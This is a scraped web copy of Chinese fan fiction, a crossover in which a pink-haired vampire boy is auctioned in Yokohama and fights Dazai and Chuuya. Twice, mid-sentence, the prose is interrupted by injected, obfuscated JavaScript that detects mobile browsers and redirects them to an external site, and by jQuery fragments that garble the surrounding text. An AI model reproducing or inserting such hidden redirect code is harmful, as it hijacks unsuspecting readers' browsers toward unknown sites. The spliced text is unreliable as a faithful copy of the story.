《绷带浪费装置的饲养日志》 1. 拍卖场 横滨,地下拍卖会。 聚光灯如同冰冷的探照灯,聚焦在拍卖台中央那具剔透的水晶棺上,折射出令人目眩的幽蓝流光。 棺内,少年身着白色欧式长袍睡衣,罕见的粉色长发如绸缎般铺散在雪白丝绒衬里之上,近乎透明的银白眼睫低垂着。 若非胸膛毫无起伏的迹象,任谁都会以为这只是一个沉睡中的普通少年。 拍卖师女士亢奋的声音在寂静的会场炸开:“各位请看!这具保存完好的‘不腐尸身’!碳十四检测证实其历史超过三百年,但肌肤依然富有惊人弹性——” 嗡—— 这是菲那恩混沌意识中接收到的第一道清晰讯息。 瞬间,一个冰冷的事实刺穿迷雾: ——这绝非他原本的世界。 就算他身体特殊,也不应该将他愚昧地认作一具尸体。 只有一个可能——这里没有血族,更没有关于血族的常识, 更奇怪的是,这里的人们用着陌生的语言,但他却能听懂。 空间扭曲、恰好出现在他的沉眠之地、大小完美容纳水晶棺,这概率渺茫得如同神谕在开玩笑。 身为血族贵族图拉尔家族唯一的少爷,竟连棺材板都被撬开,沦为异世界的拍卖品。 他不会被家族原谅的。 不过,那个世界……离开了也好。 此刻,刺目的聚光灯如同灼热的针,直刺他紧闭的眼睑。 他下意识想抬手遮挡,身体却仍被沉睡后的僵直牢牢禁锢,动弹不得。 “水晶棺侧身刻有古语铭文!”拍卖师收起亢奋,换上神秘腔调,“经专家破译,其意为——菲那恩·德·图拉尔!这正是棺中少年的尊名!” 她刻意停顿,吊足胃口,“究竟是什么力量让这‘尸体’栩栩如生?异能?奇物?秘药?是这少年本身的神奇,还是这水晶棺的玄妙?为了不破坏标本,秘密至今未解,其蕴含着无穷的研究价值!” “起拍价,五百万——” 他原来才值五百万吗?! 菲那恩拼尽全力,也只让右手小指极其轻微地抽搐了一下。 这点微动,在炫目光线下,注定无人察觉。 “一千万。”一道低沉磁性的嗓音,从会场幽暗的后排角落传来。 诶……? 菲那恩竭力想睁眼看清买主,但吸血鬼漫长的苏醒过程,总是缓慢得令人心焦。 随后是搬动、颠簸……他被运送至某个地方。 拍卖所VIP包厢。 太宰治的手指,漫不经心地划过冰冷的水晶棺盖,留下一道氤氲的水汽轨迹。 “恒温5度……真是个高级冰箱呢。”他歪着头,鸢色的瞳孔倒映着棺中人苍白如瓷的面容,嘴角噙着一丝玩味的笑,“精致得像活着的洋娃娃,倒是配得上‘菲那恩’这个好听的名字。” 棺内的菲那恩,意识里泛起一丝莫名的不自在。 ——这个人类夸他的“寝具”(水晶棺)功能好,还说他……好看? 原本无人能打开的水晶棺,此刻却发出一声“咔哒”轻响,棺盖被太宰治轻易推开一道缝隙。 ——水晶棺的禁制被人间失格抹消了。 刹那间,混合着凛冽白玫香的寒雾如活物般逸散,瞬间弥漫了整个包厢。 中原中也烦躁地压了压帽檐,钴蓝眼眸警告地扫向太宰:“别用你缠过绷带的脏手乱碰。” 肉眼可见的指尖裹挟着寒雾,悬停在少年鼻尖上方两三厘米处,片刻后,带着点遗憾地收了回来:“遵命,不乱摸。” 他抱着手臂,语气浮夸地惊叹,“真是令人震惊!中也居然花一千万买一具‘尸体’?该不会有什么不可告人的特殊癖好吧……” “闭嘴!”中也的耳尖瞬间泛起可疑的红晕,“卖家说这是在欧洲某古堡地下室发现的!我只是……” 他的声音低了下去,带着一丝不易察觉的柔软,“不想他的安眠被打扰,死后还要沦为实验台上的标本。” “中也真是……善良得让人落泪啊。”太宰治拖长了语调。 等寒雾彻底散去,他的目光再次落在棺中少年的脸上,却猛然惊觉棺中少年的样貌已经变了。 不是长相改变,而是——耳朵,那是象征着非人的尖耳。 棺盖开启之后,菲那恩对外界的感知就增强了不少。 那个刚刚“夸赞”过他的人类,其存在如同黑夜中唯一的星,那种熟悉感牵引着他,让他无法忽视,就好像这是命中注定。 太宰治皮肉下流淌的血液散发出无与伦比的甘甜气息,如同最顶级的毒药,疯狂撩拨着他沉寂百年的属于血族的嗜血本能。 好香…… 好饿啊…… 意识的剧烈躁动与沉睡禁制激烈冲撞。 菲那恩那银白色的眼睫,如同受惊的蝶翼,清晰地、无法控制地颤动了一下。 “哦呀?”原本还在观察菲那恩的尖耳朵,太宰治刚好捕捉到这细微的变化,鸢色眼眸危险地眯起,饶有兴味地挑了挑眉,“呐,中也,看来你‘好好安葬’他的计划……可能要泡汤了哦。” 说着,他修长的食指已带着十足的作死精神,好奇地轻轻戳了戳菲那恩冰凉而富有弹性的脸颊。 指尖与脸颊肌肤触碰的瞬间—— 禁制瞬间解除。 “唰!” 那双紧闭的眼皮猛然掀起,暗红色的蔷薇纹路瞬间从白袍里心脏处,往上蔓延至眼尾,带着一种奇异的美感。 如同最纯净的鸽血宝石骤然暴露在强光之下,那双赤红的眼眸,带着非人的无机质光泽,直勾勾地、精准地锁定了上方的太宰治! 中原中也的呼吸瞬间停滞。 他见识过无数异能发动,却从未目睹如此诡艳的景象——血红瞳孔在灯光下收缩成冰冷的细线,如同两滴融化的、燃烧的血。 粉发少年以一种完全违反人体工学的姿态,直挺挺地坐起身,而若隐若现的獠牙,无声宣告着棺中存在的真实身份。 “小心——!”中也的警告被堵在喉咙。 太宰治只觉手腕被一股冰寒彻骨、力大无穷的力量钳住。 天旋地转间,后背重重撞上冰冷的棺底,馥郁浓烈的白玫香混合着棺内寒气,瞬间灌满鼻腔。 那粉发少年已压在他身上,冰冷的脸颊紧贴着他的颈侧,如同最精准的猎犬般来回轻嗅,鼻尖抵住他颈动脉搏动之处,贪婪地汲取着那致命的香甜气息。 “你好香,人类……”少年刚苏醒的声音带着古老语言的韵律感,沙哑如同砂纸磨过天鹅绒,尖牙在太宰治脆弱的颈间皮肤上危险地摩挲、游移,“比……最新鲜的处子血还要……” 太宰治能清晰感受到对方冰冷的呼吸拂过自己的锁骨。 这名为菲那恩的生物,体温低得不似活物。 “你也很香呢……”太宰治非但不惧,温热的气息还贴着对方敏感的尖耳朵拂过,声音带着一丝的探究,“用的是哪个牌子的顶级防腐剂?” 菲那恩的表情有一瞬间的崩裂,疑惑道:“你……不怕我?” 下一秒,“轰——!” 重力使裹挟着暴怒红光的拳头悍然袭来,菲那恩反应极快,抱着怀中的“血包”就地翻滚,在他们身后,那具价值不菲的水晶棺被恐怖的重力场瞬间碾碎,化作一片水晶尘雾。 菲那恩血红的眼眸沉凝了一瞬,身上的蔷薇纹路开始慢慢变淡,下一瞬便消失得无影无踪。 ——这个人类,很强。 菲那恩快速扫过包厢结构。 他只纠结了一秒,随后便提着甚合他意的“血包”太宰治的后衣领,猛地撞破包厢的纱帘跃出。 包厢外是环形的拍卖场结构,中央拍卖台位于最低处,环绕其上的层层看台包厢视野极佳。 他提着太宰治漂浮在拍卖台上方,红色眼眸在黑暗中愈发红亮,居高临下地看着地面上的人类。 “天啊!那个……那个古尸……那个少年!他活了!!!”拍卖师小姐的尖叫划破混乱。 整个拍卖场瞬间炸开了锅。 尖叫、推搡、混乱,一部分人惊恐逃窜,更多的人则训练有素地掏出武器,护着自家主子撤离,无数黑洞洞的枪口指向了场中央那突兀的存在。 菲那恩对人类的反应毫无意外,脸上甚至没有多余的表情。 粉发间沾着细碎的玻璃渣,他甩了甩脑袋,面无表情地扫过那些持枪的黑衣保镖。 下一瞬,子弹破风声袭来,菲那恩迅速躲避,身形在空中瞬间变得模糊不清,子弹带着灼热的气流擦身而过,发出“咻咻”的死亡之音,在他身后、身侧的描金墙壁和粗壮的罗马柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337538|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上炸开无数狰狞丑陋的弹孔,碎石和粉尘簌簌落下。 被提着的太宰治,甚至还有闲暇透过弥漫的硝烟和飞扬的粉尘,朝着包厢那被撞开的缺口处望去——那里,一个浑身包裹在暴怒红光中的橘发身影正死死盯着他们。 太宰治嘴角勾起一抹轻快的弧度,甚至悠闲地挥了挥的手,声音在枪林弹雨中显得格外突兀:“嗨~中也~” 菲那恩不耐地蹙起精致的眉头,被下方蝼蚁们持续不断的聒噪彻底激怒了,“好烦。” 他向下伸出一根苍白得近乎透明、骨节分明的手指。 指尖一点微弱却极其凝聚的暗红光芒亮起——他准备动用攻击性极强的血族秘术,给予这些不知死活的人类一个深刻入骨的教训。 然而,那光芒只如同接触不良的灯泡般极其微弱地闪烁了一下,便倏然熄灭,仿佛被无形的巨手掐灭。 力量不足……吗? 刚刚从漫长的沉眠中强制苏醒,又强行催动力量,强烈的虚弱感如同潮水般袭来。 菲那恩瞬间改用防御秘术,摊开的掌心向前猛地一推,动作带着一丝不易察觉的急促。 嗡——! 一个暗红色的、半透明的防御罩骤然在他身前张开。 罩壁并非光滑,上面流淌着古老、诡谲、仿佛拥有生命的血色符文,如同暗河中游动的血蛇,缓缓地、无声地蜿蜒流转。 所有倾泻而来的、带着灼热杀意的子弹,如同撞上了一堵叹息之壁,发出沉闷而绝望的“噗噗”声,在接触罩壁的瞬间炸开一圈圈细碎的血色能量涟漪,随即便无力地坠落,在下方的大理石地面上叮当作响。 “哦?”太宰治的声音在近在咫尺的枪火轰鸣和能量碰撞的嗡鸣中,显得异常清晰和平静,甚至带着一丝慵懒的、仿佛在欣赏艺术品的纯粹好奇,“这个是……魔法吗?” 他鸢色的眼眸倒映着防御罩上那些缓缓游动的、充满不祥美感的血色符文,如同在观察一幅活动的抽象画。 “看起来真漂亮呢。” 菲那恩一边维持着防御罩,一边从鼻腔里发出一声极其轻微的冷哼,习惯性道:“无知的人类。” 他的声音带着一种来自时间长河彼端的疏离感,“这是流淌于我等血脉之中的【血族秘术】,才不是那些粗浅的魔法伎俩。” “哦?照你的说法,原来魔法真的存在啊。”太宰治鸢色的眼眸里,瞬间闪过一丝极其恶劣、如同孩童即将恶作剧得逞般的玩味光芒。 他像是脑海中灵光一闪,想到了某个极其有趣又作死到极致的实验点子。 他用只有菲那恩才能勉强听清的音量,如同情人间最亲昵的耳语,又如同深渊恶魔蛊惑的低吟,自言自语般呢喃道:“血族秘术……倒是听起来真是深奥又厉害呢。” 他顿了顿,语气里充满了纯粹的、令人不安的好奇,“不知道我的‘人间失格’……会不会,对它有效呢?” “嗯……?”菲那恩发出一声短促而困惑的鼻音。 太宰治笑了笑,“——是异能无效化哦。” 话音未落——甚至不给菲那恩任何反应和理解这陌生词汇含义的时间——他那带着硝烟和灰尘气息的白色绷带的手,已经悄无声息地抬起,精准地、带着某种宣告终结意味地,盖在菲那恩紧抓着他后衣领的那只冰冷、苍白的手背上。 ——皮肤相触,绷带粗糙的纹理摩擦着冰凉的肌肤。 “什——?!” 就在太宰治的手掌接触到菲那恩皮肤的瞬间,一股前所未有的、冰冷死寂到足以冻结灵魂的“虚无”感,沿着菲那恩那只被触碰的手臂,席卷而上。 菲那恩的赤红瞳孔因极致的震惊和一种触及灵魂最深处的、源自本能的恐惧而骤然缩紧成针尖。 “呃啊——!”一声压抑的、带着难以置信的痛苦和一丝濒死般惊悸的短促喘息,不受控制地从菲那恩紧咬的齿缝间溢出。 暗红色的防御罩瞬间剧烈波动,上面流淌的符文疯狂闪烁、扭曲,随即哀鸣一声,溃散成漫天飘零的、如同血色萤火虫般的光点,迅速黯淡,消逝在浑浊的空气中。 两人如同被无形的命运之剪骤然剪断了所有提线的木偶,在下方人群骤然爆发的、混合着惊恐的惊呼声中,彻底失去了所有依托,直直地、失控地、朝着下方坚硬冰冷的拍卖台地面加速坠落。 2. “投怀送抱” 几乎在瞬间,菲那恩就反应过来了。 数百年刻入骨髓的战斗本能和一种连他自己都未曾深究的、对“所有物”的保护欲,压倒了一切。 即使这个“物”是导致他坠落的元凶。 他几乎是榨干了身体里残存的所有力气,猛地将提着的太宰治向上、向着自己身体的方向狠狠一拽,用自己的脊背作为最后的缓冲垫。 “砰——!!!” 菲那恩结结实实地承受了坠落带来的绝大部分冲击,重重砸在冰冷坚硬的大理石拍卖台上,巨大的力量让台面都仿佛震颤了一下,细密的裂纹以他落点为中心蛛网般蔓延开来,掀起大量灰尘隐藏住人们的视线。 枪声诡异地停止了。 喉咙深处猛地涌上一股浓烈腥甜的铁锈味,菲那恩死死咬住牙关,才将那口涌到嘴边的血强行咽了回去,但一丝暗红的血迹,终究还是不受控制地从他紧抿的唇角缓缓流下。 他躺在冰冷的尘埃与碎石之中,赤红的眼眸因剧痛和刚才那恐怖“禁制”带来的灵魂震荡而短暂失焦,瞳孔边缘甚至泛着一圈因痛苦而生的细微水光,漂亮的银白眼睫微弱地颤抖着。 太宰治的状况则好得多,只是手臂有些扭伤的钝痛,以及身上几处不规则的擦伤,在灰尘中显得格外狼狈,但并无大碍。 “唔……”一声极其压抑的闷哼从菲那恩紧咬的齿缝间泄出,细微得几乎听不见。 他借着手臂的力量,撑着地面,坐了起来,动作间,白长袍上的灰尘簌簌落下几许。 呃……伤得有点重了,按照现在的状态,应该要好一会儿才能恢复过来…… 他脸色苍白地抬起手,擦掉嘴角的血迹,心里却泛起了嘀咕。 不至于吧,虽然他沉睡了这么多年,可他仍然在秘术使用上还算是天赋异禀,这种基础漂浮术应该不会失灵才对…… 难道是人间失格……异能无效化……? 这可真厉害。 不过那又如何,根本不足为惧,除去那个厉害的能力,这个人类也只是一个普通人,难道能打得过血族? 而且,只要不触碰到这个人类,那个能力应该就不会对他有影响。 现在当务之急是他该怎么收场脱身,带着他看中的“血包”。 心神剧震间,他下意识地后退了几步,试图拉开与周围危险的距离,脚下却传来一阵尖锐的刺痛。 他低头,才惊觉自己赤裸的足掌,正毫无防备地踩在满地散落的碎石片上。 他没有在意,而是目光落在一旁坐在地上盯着他的太宰治,静静地看了几秒,在对方那如死水般平静无波的鸢色眼眸注视下,忽然又蹲下凑近—— 柔软的舌尖带着非人的冰凉,优雅而精准地舔去了太宰治脸颊上被划破渗出的那滴血珠,动作从容得如同中世纪贵族在品鉴一杯顶级的波尔多。 太宰治的身体瞬间僵直,鸢色的眼眸罕见地因纯粹的震惊而微微睁大,里面清晰地映出菲那恩近在咫尺的血红瞳孔。 片刻菲那恩便收回舌尖,喉结几不可察地滚动了一下,仿佛在回味那转瞬即逝的滋味。 “不能浪费食物。”他低语着,仿佛在陈述一个再自然不过的真理。 味蕾传来的极致甘美与那诱人的香气完美契合…… 那不仅仅是味蕾的极致狂欢,更像是一道闪电劈开了灵魂的混沌,一种源自血脉深处的、古老而强烈的共鸣轰然炸响,顺着每一根神经末梢疯狂蔓延、震颤。 太美妙了。 这种灵魂被瞬间点亮、被强行共鸣的冲击感,几乎让他全身的骨骼都在发出愉悦的嗡鸣。 然而—— 他忽然困惑地歪了歪头,像只嗅到异常气味的小兽,血红眼眸深处闪过一丝不解:“你的血……” 他的声音带着一丝探寻的意味。 他再次凑近太宰治的脖颈,鼻翼翕动,仿佛要穿透皮肉,探寻那血液深处的秘密,“……为什么会有一种熟悉的味道?还有……一种死气沉沉的感觉……” 太宰治从短暂的震惊中回过神来,喉咙里溢出一声极其短促、意味不明的轻笑,“呵……” 就在菲那恩因为这缕奇特的“死亡气息”而微微失神、血眸中闪过一丝探究与茫然的刹那—— 太宰治动了。 他那只未受伤的手快如闪电,瞬间扣住了菲那恩纤细的后颈。 力道并不重,却带着一种不容挣脱的掌控感,手腕上缠绕的绷带因这动作而松散滑落,露出下方纵横交错、如同蜈蚣般盘踞的、狰狞而深刻的旧日伤痕,无声地诉说着过往的疯狂。 “诶……?”菲那恩发出一声短促而困惑的音节,血红的眼眸里清晰地映着对方手腕上那些触目惊心的疤痕。 他本能地感觉得到,太宰治此刻的动作并非带着杀意,更像是一种……宣告?或者某种他无法理解的意图。 太宰治冰凉的唇几乎贴上那枚敏感的尖耳朵,吐息温热,眼神却十分冰冷:“因为……我是个无可救药的自杀爱好者啊。” 那轻佻的尾音,带着一种令人毛骨悚然的愉悦。 耳廓传来的气流和那过于贴近的、充满危险暗示的话语,让菲那恩不自觉地瑟缩了一下脖颈。 然而,出乎意料地,他并未因此气恼或反击,那双赤红的眼眸反而亮了起来,用一种近乎天真的、宣布重大决定的认真口吻,直视着太宰治深不见底的鸢眸: “人类,别自杀了好不好,我很喜欢你的血。” 他语气笃定,红宝石双眼很纯粹,却隐隐透出属于血族的傲慢,如同在颁发一份录用通知书,“成为我的血仆吧。” “血仆?”太宰治嘴角勾起一抹冰冷的弧度,眼神幽深难测,毫不犹豫地严词拒绝,“真是……令人不快的提议。” 菲那恩眨了眨眼睛,看起来有些失落,道:“好吧,强迫来的血液是苦涩的,我会等你愿意成为我的血仆的那一天。” 太宰治幽幽地凝视着菲那恩,那目光仿佛在穿透他的皮囊,审视着他灵魂的本质。 “太宰!”中原中也饱含怒火的声音如同惊雷般炸响,瞬间打破了两人之间诡异而危险的对峙氛围。 重力场咆哮,四周散落的碎石瞬间被无形的重力攫取,悬浮而起,化作致命箭矢 。 菲那恩瞳孔骤缩,几乎是本能反应,他猛地伸手,一把攥住了太宰治的手腕,用尽残存的气力将他从原地拽起。 他拉着踉跄的太宰治,朝着最近一根粗壮的罗马石柱后面冲去。 “喂喂……你拉我走干嘛……”太宰治被拽得一个趔趄,脸上写满了不合时宜的困惑,语气里甚至带着点委屈巴巴的无辜,“你应该知道那个暴躁的小矮子跟我是一伙的吧?他的目标是你啊。” 他指了指身后那铺天盖地袭来的碎石风暴。 “不行。”菲那恩一边奋力拉着他躲到石柱后,一边斩钉截铁地摇头,粉色的发丝随着动作晃动。 他微微抬起下巴,苍白沾血的脸上竟流露出一丝小小自信,认真得仿佛在宣告某种神圣的职责:“我会罩我的预备血仆的。” 语气认真得有些可爱,却又带着些许的小霸道。 太宰治被他这副理所当然的“保护者”姿态弄得微微一怔,随即唇角勾起一个难以捉摸的弧度,不置可否地笑了两声。 他鸢色的眼眸深处,却冷静地、不动声色地快速扫过菲那恩的身体状况。 嘴角残留的暗红血迹、紧促的双眉、因强忍剧痛而微微颤抖的指尖、以及那苍白得几乎透明的脸色……每一个细节都在无声地诉说着眼前这个古老生物此刻的虚弱与强弩之末。 果然,菲那恩说完,脚下就一软,捂住胸口重重跪倒在地。 不好,好饿好饿好饿……脑子昏昏沉沉的,这里人太多了,要失控了…… 好饿…… 不再是空洞的呐喊,而是灵魂深处每一个细胞的哀鸣与索求。 那鲜血的香气不再是单纯的嗅觉刺激,它仿佛拥有了实质,化作无数细小的、带着倒刺的钩子,钻入他的骨髓,勾缠着他的神经,拉扯着他全部的意志。 每一次太宰治轻微的呼吸,每一次他颈动脉的搏动,都像在菲那恩紧绷的神经上重重敲击,引发一阵阵难以抑制的战栗。 纯粹的吸血鬼本能或许会驱使他不顾一切地扑上去撕咬、掠夺,满足最原始的杀戮与进食欲望。 但菲那恩体内流淌着的另一半人类血脉,以及数百年贵族教养铸就的某种……矜持,在此刻以一种奇特的方式扭曲了这纯粹的渴望。 他不想粗暴地撕裂、破坏。 他想要的是……靠近,无限地靠近那香气的源头。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337539|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想埋进那片温热的颈窝,让那致命的芬芳彻底包裹自己。 他想用冰冷的皮肤去感受那鲜活生命的热度,去倾听那血液在血管中奔流的微弱声响。 他想用鼻尖蹭过那跳动的脉搏,用嘴唇去感受皮肤的细腻纹理,用舌尖去品尝那无法抗拒的甘泉——以一种缓慢而郑重的方式去……享用。 他的赤红瞳孔微微扩散,如同蒙上了一层薄雾。 他完全忘记了身后呼啸而至、足以将他撕碎的碎石风暴,也全然抛开了几秒钟前那“我会罩你”的豪言壮语。 身体像是被抽走了所有对抗的力气,又像是被那香气彻底俘获,带着一种不顾一切的、却又并非攻击性的迫切,几乎是投怀送抱般,朝着近在咫尺的太宰治扑了过去。 扑过去的瞬间,他脑中一片空白,只剩下最原始的指令: 贴上去…… 抱住他…… 好暖和…… 闻他…… 蹭他…… 尝一口……就尝一小口…… 然而太宰治却没有粗暴地推开他,也没有硬抗,而是顺着菲那恩扑来的力道,以一个极其巧妙的角度向后滑退了半步,同时那只缠满绷带的手轻柔地、却带着不容抗拒的力道,稳稳地托住了菲那恩扑过来的肩膀。 这一托,巧妙地卸去了菲那恩大部分冲势,将他前扑的力道转化为一种……近乎依偎的姿态。 菲那恩的额头堪堪抵在太宰治的肩上,整个人被太宰治半抱半扶地固定在身前。 “哎呀呀,”太宰治的声音带着一丝慵懒的调侃,仿佛在安抚一只过于热情的小动物,“这么着急投怀送抱吗?吸血鬼君?” 他的手掌稳稳地按在菲那恩的肩头,隔着薄薄的衣料,能清晰地感受到对方冰凉肌肤下传来的细微颤抖。 菲那恩被这突如其来的阻滞弄得有些懵懂,喉咙里发出不满的咕哝声。 他本能地在太宰治胸前蹭了蹭,像在寻找最舒适的位置,鼻尖贪婪地嗅着那近在咫尺的的甘甜血液芬芳。 好香……太香了…… 尖牙在太宰治颈侧的皮肤上轻轻刮蹭着,带着一种磨人的试探,却并未真的刺入。 血红的眼眸半眯着,蒙着一层水汽,仰头看着太宰治,眼神迷离:“可以让我咬你一口吗……” 太宰治垂眸看着怀中这具散发着寒意的身体,感受着颈侧那冰凉尖牙的刮擦,鸢色的眼眸深处掠过一丝幽暗的光。 他非但没有推开,反而用另一只手的指尖,带着几分探究的意味,轻轻撩开了菲那恩额前沾着灰尘的粉色碎发,露出那双完全被渴望占据的血瞳。 “这可不行哦,”他的声音压得极低,带着一种奇特的安抚与拒绝并存的矛盾感,指尖若有似无地滑过菲那恩冰冷的耳廓,“虽然你的‘喜欢’让我很荣幸,但是呢……” 他微微偏头,避开了那不安分的尖牙,温热的呼吸拂过菲那恩敏感的耳尖,“在找到无痛自杀法之前,被吃掉可不是我的理想结局呢。” 他的话语轻佻而危险,眼神却冷静地审视着菲那恩的状态,评估着菲那恩渴望的边界,同时巧妙地控制着两人之间的距离,既不让对方得逞,又不至于刺激这陷入“饥饿”状态的特殊生物。 那双红宝石般的眼眸死死盯着着太宰治,因不开心和无力感而蒙上了一层水汽,竟给太宰治一种“湿漉漉”的错觉。 会场门被暴力撞开,港口Mafia的武装部队鱼贯而入,目睹了极具戏剧性的一幕:他们年轻的干部衣衫凌乱地抱着一个粉发少年。 而中原中也已然暴怒,捏碎了一根装饰立柱,赭色的微长发在暴走的重力场中狂乱飞舞。 “全部不许开枪!”中也的怒吼如同实质的音浪,震得天花板的水晶吊灯簌簌坠落,“青花鱼还在那里——!” 太宰治挡住其他人视线,突然出手掐住菲那恩的下巴,迫使对方无法合拢嘴露出獠牙,像发现新大陆一般感叹道:“啊呀呀,獠牙竟然是真的 。” “唔呜……”菲那恩眼神稍微清明了不少。 在子弹呼啸、玻璃爆裂的混乱背景音中,太宰治含笑的嗓音带着一种奇异的亲昵,不清晰地传入菲那恩耳中,似是报复菲那恩的血仆邀请,似是真的如此想法。 “——考虑当我的宠物吗?小蝙蝠~” 3. 狠狠挨揍了 冰冷的空气夹杂着尘埃的味道,菲那恩的理智从一片混沌中缓慢浮起。 “考虑当我的宠物吗?小蝙蝠君~” ……宠物? 菲那恩微微睁大了那双赤红的眼眸,里面氤氲的渴望水汽瞬间冻结,被一种难以置信的茫然取代。 这个词像一块粗糙的石头,硌在他心里某个极其敏感的地方。 那刻意拉长的、带着狎昵意味的尾音,瞬间与图拉尔家族古堡冰冷回廊里那些充满恶意与讥诮的低语重合—— “看啊,那个混血的小杂种……” “天赋高有什么用,听说他母亲是人类,这可真是玷污了图拉尔高贵的血统……” “离他远点,小心沾上低贱的气息……”* “说是少爷,其实也只配当个打发时间的宠物吧?真不知道家主大人为什么会留下他……” 那些冰冷刻薄的话语,如同被封印在记忆深处的幽灵,瞬间淹没了菲那恩的意识。 太宰治鸢色的眼眸依旧带着那副漫不经心的探究神情,耐心地等待着——等待着这古老生物被冒犯后的暴怒,等待着那尖牙利爪的反扑,等待着符合“怪物”身份的激烈反应。 那会很有趣,也更能验证他的某些猜想。 然而—— 预想中的愤怒并未降临。 “不是宠物……”菲那恩下意识地反驳着,声音却细弱蚊蝇,带着一丝不易察觉的颤抖,喉头仿佛被什么堵住了,闷闷的,发不出更大的声音。 那双原本因渴望而显得迷离又湿漉漉的血红眼眸,在听到“宠物”二字的刹那,瞳孔骤然紧缩,随即……失去了所有聚焦的光芒。 一股冰冷的、沉重的,混合着被唤醒的、数百年来积压的孤独与不被接纳的痛苦,这种痛苦是这么熟悉,如同极地的寒流,瞬间席卷了他。 比身体坠落的伤痛,比力量被剥夺的虚弱,比饥饿的煎熬……都更让他难受百倍。 原来……在这个世界,也一样……吗? 他以为自己逃离了那个世界就能摆脱,可这个陌生的世界,面前这个人类,只用轻飘飘的两个字就将他打回了原形。 ——他依然是那个不被真正接纳、被视为异类的“东西”。 他努力维持着表面的平静,甚至试图像在古堡里面对那些嘲讽时一样,用高傲的沉默来武装自己,就像过去无数次在图拉尔家族里做的那样。 他只是微微偏开了头,避开了太宰治探究的视线,长长的、沾着血污的银白眼睫垂落,在眼下投下一小片脆弱的阴影,尖牙无意识地在下唇印下浅浅的凹痕,带来一丝细微的、真实的痛楚。 “称呼我,菲那恩。”他的嘴唇动了动,带着一种刻意压低的、冰封般的平静。 太宰治眼底那丝玩味的探究渐渐被一丝极淡的、难以察觉的困惑取代。 这反应……不对。 没有愤怒,没有攻击,只有一种近乎死寂的、被击垮的茫然和……受伤? 这不像一个力量强大、自视甚高的古老异族该有的反应,倒像是……触碰到了某个极其隐秘而脆弱的伤疤? 他按在菲那恩后颈的手指,甚至能感觉到对方身体内部传来的、一种压抑到极致的、细微的痉挛。 太宰治轻笑着道歉,但眼里却毫无歉意:“抱歉抱歉~我说了失礼的话呢——” 太宰治的道歉尾音还未完全落下—— 一道刺目的红光毫无征兆地爆发。 “太宰!闪开——!!!” 中原中也的怒吼如同撕裂空间的雷霆,伴随着一股前所未有的、凝练到极致的毁灭性能量悍然降临。 太宰治迅速松开菲那恩,朝身侧安全区退去。 这一次,中也没有任何试探,出手便是全力。 轰——!!! 一股无法形容的恐怖力量,如同无形的巨锤,狠狠砸在菲那恩的胸口,狠狠砸心神失守、力量又处于强弩之末的菲那恩身上。 即使脱离了太宰治异能无效化的禁制,他也来不及做出任何反应。 咔嚓! 令人牙酸的骨裂声隐约响起! “噗——!” 一大口混杂着内脏碎片的暗红血液从他口中狂喷而出。 天旋地转,失重感只持续了不到半秒,取而代之的是身体被无法抗拒的巨力狠狠掼向后方坚硬物体的恐怖冲击。 砰——!!!! 一声沉闷得令人心脏骤停的巨响。 菲那恩的身体狠狠地、毫无缓冲地撞进了拍卖场边缘一面由厚重钢筋混凝土构筑的承重墙。 碎石混合着钢筋扭曲的刺耳声响疯狂炸开,烟尘如同蘑菇云般升腾而起。 一个深深的人形凹陷出现在墙体上,边缘布满了狰狞的裂痕。 菲那恩的身体完全嵌入了墙体之中,只有头部和一只无力垂落的手臂露在外面。 粉色的长发被鲜血和灰尘黏在苍白如纸的脸上,遮住了大半面容。 那只露出的手臂以一种不自然的姿势扭曲着。 暗红的血液如同小溪,从他口中、鼻腔、耳际以及嵌入墙体的身体各处汩汩涌出,迅速染红了身下的碎石和冰冷的混凝土。 他嵌在墙里,一动不动,仿佛一具被钉在耻辱柱上的破碎玩偶。 那双漂亮的血瞳,此刻紧紧闭合,长而密的银白眼睫上沾满了血珠和尘埃,脆弱得如同即将熄灭的残烛。 所有的意识都被这毁灭性的一击彻底打散,陷入无边无际的黑暗。 意识朦胧的前一秒,他还在想——这个橙头发的人真没礼貌! 失血过多加上内脏重创和力量彻底枯竭,让他陷入了深沉的昏迷。 烟尘缓缓落下,露出那面残破墙壁上凄惨而震撼的景象。 整个空间死寂一片,只有碎石偶尔滑落的细微声响。 港口Mafia的武装部队鸦雀无声,连呼吸都放轻了。 中原中也缓缓从空中落下,周身狂暴的红光收敛,帽檐下的钴蓝眼眸复杂地看着嵌在墙里的菲那恩。 但让他心惊的是对方最后爆发出的那种……混合着怒意、仇恨,与某种他无法理解的、近乎悲怆的眼神。 太宰治脸上的玩味笑容彻底消失了。 他慢悠悠地踱步到那面墙前,鸢色的眼眸沉沉地扫过菲那恩惨烈到极点的状况,目光在那只扭曲的手臂和苍白的脸上停留了片刻。 他伸出手,似乎想拂开那粘在脸上的染血发丝,指尖却在即将触碰时停在了半空。 “下手真重啊,中也。”他的声音听不出什么情绪。 “闭嘴!还不是因为你这混蛋不干事!不然早就抓住他了!”中也烦躁地压了压帽子,声音带着一丝不易察觉的疲惫,“把他弄下来,带回总部医疗队。小心点,别真弄死了。” 他最后看了一眼墙上的身影,补充道,“这家伙……有点邪门。” 几名穿着黑色防弹衣、训练有素的港口Mafia成员立刻上前,动作极其小心谨慎。 最终,菲那恩失去支撑的身体软软地滑落下来,被他们稳稳地接住,迅速转移到一副铺着软垫的担架上。 …… 